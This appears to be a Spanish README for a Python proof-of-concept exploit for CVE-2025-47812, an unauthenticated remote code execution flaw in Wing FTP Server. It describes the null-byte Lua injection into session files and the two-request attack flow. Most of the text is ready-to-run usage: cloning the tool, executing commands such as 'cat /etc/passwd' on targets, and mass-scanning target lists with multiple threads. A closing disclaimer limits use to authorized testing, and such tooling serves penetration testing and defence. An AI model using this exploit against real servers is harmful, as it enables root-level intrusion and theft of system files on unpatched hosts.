
Python PoC para CVE-2025-47812, RCE no autenticado en Wing FTP Server <= 7.4.3 mediante inyección Lua con byte NULL en archivos de sesión
____ _______ ___ __ ____ __ ___ ____
/ __ \|__ / | / / | / / __ \/ |/ // _/
/ / / / /_ <| | / /| |/ / / / / /|_/ / / /
/ / /_/___/ /| |/ / | / /_/ / / / /_/ /
/_____/____/ |___/ |_/ \____/_/ /_/____/
Exploit de prueba de concepto para CVE-2025-47812, una vulnerabilidad de ejecución remota de código no autenticada en Wing FTP Server versiones anteriores a la 7.4.4.
| Campo | Detalle |
|---|
| CVE | CVE-2025-47812 |
| Afectado | Wing FTP Server <= 7.4.3 |
| Tipo | Ejecución remota de código no autenticada |
| Privilegios | root (Linux) / SYSTEM (Windows) |
| Vendedor | wftpserver.com |
| Autor original | Sheikh Mohammad Hasan aka 4m3rr0r |
| Modificado por | d3vn0mi |
La función c_CheckUser() de Wing FTP Server trunca el nombre de usuario en un byte nulo (%00) para fines de autenticación, pero el nombre de usuario completo sin sanitizar — incluyendo todo lo que va después del byte nulo — se escribe en un archivo de sesión Lua. Cuando se accede a un endpoint autenticado como /dir.html, el servidor ejecuta ese archivo de sesión, activando el código Lua inyectado con privilegios elevados.
1. POST /loginok.html
username=anonymous%00]]<LUA_PAYLOAD>&password=
2. El servidor autentica "anonymous" (truncado en el byte nulo)
pero escribe el payload completo en el archivo de sesión → devuelve cookie UID
3. GET /dir.html (Cookie: UID=<extracted_uid>)
El servidor carga el archivo de sesión → ejecuta Lua inyectado → RCE
git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests
python3 exploit.py -u http://TARGET
python3 exploit.py -u http://TARGET -c 'id'
python3 exploit.py -f targets.txt -o vulnerable.txt -t 8
usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
[-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
[-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
[--no-verify]
target:
-u, --url URL URL del objetivo único (ej. http://192.168.134.130)
-f, --file FILE Archivo que contiene URLs de objetivos (uno por línea, se permiten comentarios #)
exploit options:
-c, --command COMMAND Comando a ejecutar en el servidor remoto (activa salida verbose)
-U, --username USERNAME Usuario para el payload del exploit (por defecto: anonymous)
-P, --password PASSWORD Contraseña para el payload del exploit (por defecto: vacía)
output:
-v, --verbose Activar registro verbose / debug
-o, --output OUTPUT Guardar URLs vulnerables en este archivo
-l, --log-file LOG_FILE Escribir registro detallado en este archivo
network:
-t, --threads THREADS Hilos concurrentes para escaneos multi-objetivo (por defecto: 1)
--timeout TIMEOUT Tiempo de espera de solicitud HTTP en segundos (por defecto: 15)
--retries RETRIES Número de reintentos en fallo de conexión (por defecto: 2)
--no-verify Deshabilitar verificación de certificado SSL
# Verificar un objetivo único
python3 exploit.py -u http://192.168.1.10
# Ejecutar 'whoami' y ver la salida completa
python3 exploit.py -u http://192.168.1.10 -c 'whoami'
# Escanear una lista con 8 hilos, registrar todo en un archivo
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt
# Usar credenciales personalizadas con verificación SSL deshabilitada
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify
# Modo verbose para depuración
python3 exploit.py -u http://192.168.1.10 -v
--log-file-t para listas grandes--retries)--no-verify para certificados autofirmados# y deduplicación automática-c muestra la salida completa del comandoEsta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. Úsela solo contra sistemas que posea o para los que tenga permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no son responsables de ningún uso indebido o daño causado por esta herramienta.